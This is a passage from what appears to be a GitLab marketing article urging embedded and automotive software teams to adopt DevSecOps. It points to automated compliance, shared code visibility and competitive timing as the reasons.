This approach enables greater compliance maturity without additional headcount — turning what was once a burden into a competitive advantage. One leading electric vehicle (EV) manufacturer executes 120,000 CI/CD jobs per day with GitLab, many of which include compliance checks. And they can fix and deploy bug fixes to vehicles within an hour of discovery. This level of scale and speed would be extremely difficult without automated compliance workflows.

Enabling collaborative innovation

Historically, for valid business and technical reasons, embedded developers have largely worked alone at their desks. Collaboration has been limited. Innovative organizations break down these barriers by enabling shared code visibility through integrated source control and CI/CD workflows. These modern practices attract and retain engineers while unlocking innovation that would remain hidden in isolated workflows. As one director of DevOps at a tech-forward automotive manufacturer (a GitLab customer) explains: "It's really critical for us to have a single pane of glass that we can look at and see the statuses. The developers, when they bring a merge request, are aware of the status of a given workflow in order to move as fast as possible." This transparency accelerates innovation, enabling automakers to rapidly iterate on software features that differentiate their vehicles in an increasingly competitive market.

The window of opportunity

Embedded systems leaders have a clear window of opportunity to gain a competitive advantage through DevSecOps adoption. But the window won't stay open forever. Software continues to become the primary differentiator in embedded products, and the gap between leaders and laggards will only widen. Organizations that successfully adopt DevSecOps will reduce costs, accelerate time-to-market, and unlock innovation that differentiates them in the market. The embedded systems leaders of tomorrow are the ones embracing DevSecOps today.

While this article explored why now is the critical time for embedded teams to adopt DevSecOps, you may be wondering about the practical steps to get started. Learn how to put these concepts into action with our guide: 4 ways to accelerate embedded development with GitLab.